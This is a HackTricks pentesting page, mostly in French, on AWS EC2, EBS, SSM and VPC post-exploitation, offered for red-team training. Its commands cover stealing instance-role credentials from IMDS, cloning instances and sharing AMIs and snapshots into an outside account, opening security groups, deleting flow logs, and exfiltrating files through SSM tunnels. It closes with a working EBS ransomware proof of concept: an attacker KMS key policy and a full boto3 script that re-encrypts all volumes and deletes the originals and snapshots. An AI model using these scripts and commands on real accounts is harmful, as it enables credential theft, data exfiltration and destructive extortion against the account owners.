AWS - EC2, EBS, SSM & VPC Post-exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

EC2 & VPC

Pour plus d’informations, consultez :

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring duplique le trafic entrant et sortant des instances EC2 au sein d’un VPC sans nĂ©cessiter l’installation de quoi que ce soit sur les instances elles‑mĂȘmes. Ce trafic dupliquĂ© serait communĂ©ment envoyĂ© vers quelque chose comme un network intrusion detection system (IDS) pour analyse et surveillance.\
Un attaquant pourrait abuser de cela pour capturer l’ensemble du trafic et obtenir des informations sensibles :

Pour plus d’informations, consultez cette page :

AWS - Malicious VPC Mirror

Copier une instance en cours d’exĂ©cution

Les instances contiennent gĂ©nĂ©ralement des informations sensibles. Il existe diffĂ©rentes façons d’y accĂ©der (voir EC2 privilege escalation tricks). Cependant, une autre maniĂšre de vĂ©rifier ce qu’elles contiennent est de crĂ©er une AMI et de lancer une nouvelle instance (mĂȘme dans votre propre compte) Ă  partir de celle‑ci:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots are backups of volumes, qui contiennent généralement des informations sensibles, donc les vérifier devrait révéler ces informations.
Si vous trouvez un volume without a snapshot vous pouvez : crĂ©er un snapshot et effectuer les actions suivantes ou simplement le monter dans une instance Ă  l’intĂ©rieur du compte :

AWS - EBS Snapshot Dump

Covert Disk Exfiltration via AMI Store-to-S3

Exporter une EC2 AMI directement vers S3 en utilisant CreateStoreImageTask pour obtenir une image disque brute sans partage de snapshot. Cela permet des analyses forensiques complĂštes hors ligne ou le vol de donnĂ©es tout en laissant le rĂ©seau de l’instance intact.

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Live Data Theft via EBS Multi-Attach

Attacher un volume io1/io2 Multi-Attach Ă  une seconde instance et le monter en lecture seule pour siphonner des donnĂ©es en direct sans snapshots. Utile lorsque le volume victime a dĂ©jĂ  Multi-Attach activĂ© dans la mĂȘme AZ.

AWS - Live Data Theft via EBS Multi-Attach

EC2 Instance Connect Endpoint Backdoor

CrĂ©er un EC2 Instance Connect Endpoint, autoriser l’ingress, et injecter des clĂ©s SSH Ă©phĂ©mĂšres pour accĂ©der aux instances privĂ©es via un tunnel gĂ©rĂ©. Donne des chemins de mouvement latĂ©ral rapides sans ouvrir de ports publics.

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

EC2 ENI Secondary Private IP Hijack

DĂ©placer l’IP privĂ©e secondaire d’un ENI victime vers un ENI contrĂŽlĂ© par l’attaquant pour usurper des hĂŽtes de confiance rĂ©pertoriĂ©s par IP. Permet de contourner des ACLs internes ou des rĂšgles SG liĂ©es Ă  des adresses spĂ©cifiques.

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Elastic IP Hijack for Ingress/Egress Impersonation

RĂ©associer un Elastic IP de l’instance victime Ă  l’attaquant pour intercepter le trafic entrant ou initier des connexions sortantes qui semblent provenir d’IP publiques de confiance.

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Security Group Backdoor via Managed Prefix Lists

Si une rĂšgle de security group rĂ©fĂ©rence une customer-managed prefix list, l’ajout de CIDR de l’attaquant Ă  la liste Ă©tend silencieusement l’accĂšs Ă  toutes les rĂšgles SG dĂ©pendantes sans modifier le SG lui-mĂȘme.

AWS - Security Group Backdoor via Managed Prefix Lists

VPC Endpoint Egress Bypass

CrĂ©er des gateway ou interface VPC endpoints pour retrouver l’accĂšs sortant depuis des subnets isolĂ©s. Tirer parti des private links gĂ©rĂ©s par AWS permet de contourner l’absence de contrĂŽles IGW/NAT pour l’exfiltration de donnĂ©es.

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

Un attaquant disposant de la permission ec2:AuthorizeSecurityGroupIngress peut ajouter des rĂšgles entrantes aux security groups (par exemple, autoriser tcp:80 depuis 0.0.0.0/0), exposant ainsi des services internes Ă  l’Internet public ou Ă  des rĂ©seaux autrement non autorisĂ©s.

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

Un attaquant disposant de l’autorisation ec2:ReplaceNetworkAclEntry (ou Ă©quivalente) peut modifier les Network ACLs (NACLs) d’un subnet pour les rendre trĂšs permissives — par exemple en autorisant 0.0.0.0/0 sur des ports critiques — exposant ainsi l’ensemble de la plage du subnet Ă  Internet ou Ă  des segments rĂ©seau non autorisĂ©s. Contrairement aux Security Groups, qui sont appliquĂ©s par instance, les NACLs sont appliquĂ©s au niveau du subnet, donc modifier un NACL restrictif peut avoir un rayon d’impact beaucoup plus large en permettant l’accĂšs Ă  beaucoup plus d’hĂŽtes.

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

Un attaquant disposant des permissions ec2:Delete* et iam:Remove* peut supprimer des ressources et configurations d’infrastructure critiques — par exemple key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Cela peut provoquer une interruption immĂ©diate du service, une perte de donnĂ©es et la perte de preuves mĂ©dico-lĂ©gales.

One example is deleting a security group:

aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

Dirigez VPC Flow Logs vers un S3 bucket contrĂŽlĂ© par l’attaquant pour collecter en continu des mĂ©tadonnĂ©es rĂ©seau (source/destination, ports) en dehors du compte victime pour une reconnaissance Ă  long terme.

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

MĂȘme si vous verrouillez une instance EC2 de sorte qu’aucun trafic ne puisse sortir, elle peut toujours exfil via DNS.

  • VPC Flow Logs ne l’enregistrent pas.
  • Vous n’avez pas accĂšs aux logs DNS d’AWS.
  • DĂ©sactivez ceci en rĂ©glant “enableDnsSupport” sur false avec:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

Un attaquant pourrait appeler des endpoints API d’un compte qu’il contrĂŽle. Cloudtrail enregistrera ces appels et l’attaquant pourra voir les donnĂ©es exfiltrĂ©es dans les logs Cloudtrail.

Open Security Group

Vous pourriez obtenir un accÚs supplémentaire aux services réseau en ouvrant des ports comme ceci:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

Il est possible d’exĂ©cuter une instance EC2 et de l’enregistrer pour qu’elle soit utilisĂ©e pour lancer des instances ECS, puis de voler les donnĂ©es des instances ECS.

Pour plus d’informations, consultez ceci.

ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)

Sur ECS avec le launch type EC2, le control plane suppose chaque task role et pousse les credentials temporaires vers l’ECS agent via l’Agent Communication Service (ACS) sur WebSocket. L’agent sert ensuite ces credentials aux containers via le task metadata endpoint (169.254.170.2). La recherche ECScape montre que si un container peut atteindre IMDS et voler le instance profile, il peut usurper l’agent via ACS et recevoir tous les task role credentials sur cet hĂŽte, y compris les credentials de task execution role qui ne sont pas exposĂ©s via le metadata endpoint.

Attack chain

  1. Steal the container instance role from IMDS. L’accĂšs Ă  IMDS est requis pour obtenir le host role utilisĂ© par l’ECS agent.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
  1. Discover the ACS poll endpoint and required identifiers. En utilisant les credentials du instance role, appelez ecs:DiscoverPollEndpoint pour obtenir l’endpoint ACS et collecter des identifiants tels que le cluster ARN et le container instance ARN. Le cluster ARN est exposĂ© via le task metadata (169.254.170.2/v4/), tandis que le container instance ARN peut ĂȘtre obtenu via l’agent introspection API ou (si autorisĂ©) ecs:ListContainerInstances.
  2. Impersonate the ECS agent over ACS. Initiez un WebSocket signĂ© SigV4 vers le poll endpoint et incluez sendCredentials=true. ECS accepte la connexion comme une session agent valide et commence Ă  streamer des messages IamRoleCredentials pour toutes les tasks sur l’instance. Cela inclut les credentials de task execution role, qui peuvent dĂ©bloquer des pulls ECR, des rĂ©cupĂ©rations Secrets Manager, ou l’accĂšs CloudWatch Logs.

Find the PoC in https://github.com/naorhaziz/ecscape

IMDS reachability with IMDSv2 + hop limit 1

Configurer IMDSv2 avec HttpTokens=required et HttpPutResponseHopLimit=1 bloque seulement les tasks qui vivent derriÚre un hop supplémentaire (Docker bridge). Les autres modes réseau restent à un hop du Nitro controller et reçoivent toujours des réponses :

ECS network modeIMDS reachable?Reason
awsvpc✅Chaque task obtient son propre ENI qui est toujours Ă  un seul hop d’IMDS, donc les tokens et rĂ©ponses metadata arrivent avec succĂšs.
host✅Les tasks partagent le namespace de l’hĂŽte, elles voient donc la mĂȘme distance en hops que l’instance EC2.
bridge❌Les rĂ©ponses meurent sur le Docker bridge parce que ce hop supplĂ©mentaire Ă©puise la limite de hops.

Donc, ne supposez jamais que hop limit 1 protĂšge les workloads awsvpc ou host-mode — testez toujours depuis l’intĂ©rieur de vos containers.

Detecting IMDS blocks per network mode

  • awsvpc tasks : Les security groups, NACLs ou modifications de routage ne peuvent pas bloquer l’adresse link-local 169.254.169.254 parce que Nitro l’injecte sur l’hĂŽte. VĂ©rifiez /etc/ecs/ecs.config pour ECS_AWSVPC_BLOCK_IMDS=true. Si le flag est absent (par dĂ©faut) vous pouvez curl IMDS directement depuis la task. S’il est dĂ©fini, pivotez dans le namespace host/agent pour le rĂ©tablir ou exĂ©cutez vos outils en dehors d’awsvpc.

  • bridge mode : Quand les requĂȘtes metadata Ă©chouent mĂȘme si hop limit 1 est configurĂ©, les dĂ©fenseurs ont probablement insĂ©rĂ© une rĂšgle DROP DOCKER-USER telle que --in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Lister iptables -S DOCKER-USER l’expose, et l’accĂšs root permet de supprimer ou rĂ©ordonner la rĂšgle avant d’interroger IMDS.

  • host mode : Inspectez la configuration de l’agent pour ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. Ce rĂ©glage supprime complĂštement les task IAM roles, vous devez soit le rĂ©activer, passer Ă  des tasks awsvpc, soit voler des credentials via un autre process sur l’hĂŽte. Quand la valeur est true (par dĂ©faut), chaque process en host-mode — y compris les containers compromis — peut atteindre IMDS Ă  moins que des filtres eBPF/cgroup personnalisĂ©s ne ciblent 169.254.169.254 ; cherchez des programmes tc/eBPF ou des rĂšgles iptables rĂ©fĂ©rant cette adresse.

Latacora a mĂȘme publiĂ© du Terraform validation code que vous pouvez dĂ©poser dans un compte cible pour Ă©numĂ©rer quels modes rĂ©seau exposent encore le metadata et planifier votre prochaine Ă©tape en consĂ©quence.

Une fois que vous comprenez quels modes exposent IMDS, vous pouvez planifier votre chemin post-exploitation : ciblez n’importe quelle ECS task, demandez le instance profile, usurpez l’agent et rĂ©coltez tous les autres task role pour du mouvement latĂ©ral ou de la persistance Ă  l’intĂ©rieur du cluster.

Supprimer VPC flow logs

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Required permissions:

  • ssm:StartSession

En plus de l’exĂ©cution de commandes, SSM permet le tunneling de trafic, ce qui peut ĂȘtre abusĂ© pour pivoter depuis des instances EC2 qui n’ont pas d’accĂšs rĂ©seau Ă  cause des Security Groups ou des NACLs. L’un des scĂ©narios oĂč cela est utile est de pivoter depuis un Bastion Host vers un cluster EKS privĂ©.

Pour démarrer une session, vous devez avoir installé le SessionManagerPlugin : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. Installez le SessionManagerPlugin sur votre machine
  2. Connectez-vous au Bastion EC2 en utilisant la commande suivante:
aws ssm start-session --target "$INSTANCE_ID"
  1. Obtenez les identifiants temporaires AWS du Bastion EC2 avec le script Abusing SSRF in AWS EC2 environment
  2. Transférez les identifiants sur votre machine dans le fichier $HOME/.aws/credentials en tant que profil [bastion-ec2]
  3. Connectez-vous Ă  EKS en tant que Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. Mettez à jour le champ server dans le fichier $HOME/.kube/config pour qu’il pointe vers https://localhost
  2. Créez un tunnel SSM comme suit :
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. Le trafic de l’outil kubectl est maintenant redirigĂ© via le tunnel SSM passant par le Bastion EC2 et vous pouvez accĂ©der au cluster EKS privĂ© depuis votre machine en exĂ©cutant :
kubectl get pods --insecure-skip-tls-verify

Notez que les connexions SSL Ă©choueront Ă  moins que vous ne dĂ©finissiez le flag --insecure-skip-tls-verify (ou son Ă©quivalent dans les outils d’audit K8s). Étant donnĂ© que le trafic est tunnelisĂ© via le tunnel sĂ©curisĂ© AWS SSM, vous ĂȘtes protĂ©gĂ© contre toute forme d’attaques MitM.

Enfin, cette technique n’est pas spĂ©cifique Ă  l’attaque de clusters EKS privĂ©s. Vous pouvez dĂ©finir des domaines et des ports arbitraires pour pivot vers n’importe quel autre service AWS ou une application personnalisĂ©e.


Transfert de port local ↔ distant rapide (AWS-StartPortForwardingSession)

Si vous avez seulement besoin de rediriger un seul port TCP depuis l’instance EC2 vers votre hîte local vous pouvez utiliser le document SSM AWS-StartPortForwardingSession (aucun paramùtre d’hîte distant requis) :

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

La commande Ă©tablit un tunnel bidirectionnel entre votre poste de travail (localPortNumber) et le port sĂ©lectionnĂ© (portNumber) sur l’instance sans ouvrir de rĂšgles Security-Group entrantes.

Common use cases:

  • File exfiltration
  1. Sur l’instance, dĂ©marrez un serveur HTTP rapide pointant vers le rĂ©pertoire que vous souhaitez exfiltrer :
python3 -m http.server 8000
  1. Depuis votre poste de travail, récupérez les fichiers via le SSM tunnel :
curl http://localhost:8000/loot.txt -o loot.txt
  • AccĂ©der aux applications web internes (par ex. Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

Astuce : compressez et cryptez les preuves avant de les exfiltrer afin que CloudTrail n’enregistre pas le contenu en clair :

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

Partager AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Rechercher des informations sensibles dans les AMIs publiques et privées

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel est un outil conçu pour rechercher des informations sensibles au sein d’Amazon Machine Images (AMIs) publiques ou privĂ©es. Il automatise le processus de lancement d’instances Ă  partir des AMIs ciblĂ©es, le montage de leurs volumes et l’analyse Ă  la recherche de secrets potentiels ou de donnĂ©es sensibles.

Partager EBS Snapshot

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Une preuve de concept similaire Ă  la dĂ©monstration Ransomware prĂ©sentĂ©e dans les S3 post-exploitation notes. KMS devrait ĂȘtre renommĂ© en RMS pour Ransomware Management Service tant il est facile de l’utiliser pour chiffrer divers services AWS.

Tout d’abord, depuis un compte AWS ‘attacker’, crĂ©ez une customer managed key dans KMS. Pour cet exemple nous laisserons AWS gĂ©rer les donnĂ©es de clĂ© pour moi, mais dans un scĂ©nario rĂ©aliste un malicious actor conserverait les donnĂ©es de clĂ© en dehors du contrĂŽle d’AWS. Modifiez la key policy pour autoriser n’importe quel Principal de compte AWS Ă  utiliser la clĂ©. Pour cette key policy, le nom du compte Ă©tait ‘AttackSim’ et la rĂšgle de policy autorisant tout accĂšs s’appelle ‘Outside Encryption’

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

Maintenant, avec la key publique accessible Ă  utiliser. Nous pouvons utiliser un compte ‘victim’ qui a des instances EC2 lancĂ©es avec des volumes EBS non chiffrĂ©s attachĂ©s. Les volumes EBS de ce compte ‘victim’ sont notre cible pour le chiffrement ; cette attaque se dĂ©roule sous l’hypothĂšse d’une compromission d’un compte AWS Ă  hautes privilĂšges.

Pasted image 20231231172655 Pasted image 20231231172734

Similaire Ă  l’exemple de ransomware sur S3. Cette attaque va crĂ©er des copies des volumes EBS attachĂ©s en utilisant des snapshots, utiliser la key publique disponible du compte ‘attacker’ pour chiffrer les nouveaux volumes EBS, puis dĂ©tacher les volumes EBS originaux des instances EC2 et les supprimer, et enfin supprimer les snapshots utilisĂ©s pour crĂ©er les nouveaux volumes EBS chiffrĂ©s. Pasted image 20231231173130

Cela a pour résultat de ne laisser dans le compte que des volumes EBS chiffrés.

Pasted image 20231231173338

Il est Ă©galement important de noter que le script a arrĂȘtĂ© les instances EC2 pour dĂ©tacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrĂ©s ont maintenant disparu.

Pasted image 20231231173931

Ensuite, revenez à la key policy dans le compte ‘attacker’ et supprimez la rùgle ‘Outside Encryption’ de la key policy.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Attendez un moment pour que la nouvelle key policy se propage. Puis revenez au compte ‘victim’ et tentez d’attacher l’un des EBS volumes nouvellement chiffrĂ©s. Vous constaterez que vous pouvez attacher le volume.

Pasted image 20231231174131 Pasted image 20231231174258

Mais lorsque vous tentez rĂ©ellement de redĂ©marrer l’instance EC2 avec le volume EBS chiffrĂ©, ça Ă©chouera et elle passera de l’état ‘pending’ Ă  l’état ‘stopped’ indĂ©finiment, car le volume EBS attachĂ© ne peut pas ĂȘtre dĂ©chiffrĂ© avec la key puisque la key policy ne l’autorise plus.

Pasted image 20231231174322 Pasted image 20231231174352

Voici le script python utilisĂ©. Il prend des creds AWS pour un compte ‘victim’ et une valeur ARN AWS publiquement accessible pour la key Ă  utiliser pour le chiffrement. Le script va crĂ©er des copies chiffrĂ©es de TOUS les EBS volumes disponibles attachĂ©s Ă  TOUTES les instances EC2 du compte AWS ciblĂ©, puis arrĂȘter chaque instance EC2, dĂ©tacher les EBS volumes originaux, les supprimer, et enfin supprimer tous les snapshots utilisĂ©s pendant le processus. Il ne restera que des EBS volumes chiffrĂ©s dans le compte ‘victim’ ciblĂ©. N’UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES EBS VOLUMES ORIGINAUX. Vous pouvez les rĂ©cupĂ©rer en utilisant la KMS key utilisĂ©e et les restaurer Ă  leur Ă©tat original via les snapshots, mais je tiens Ă  vous informer qu’il s’agit, au final, d’un ransomware PoC.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks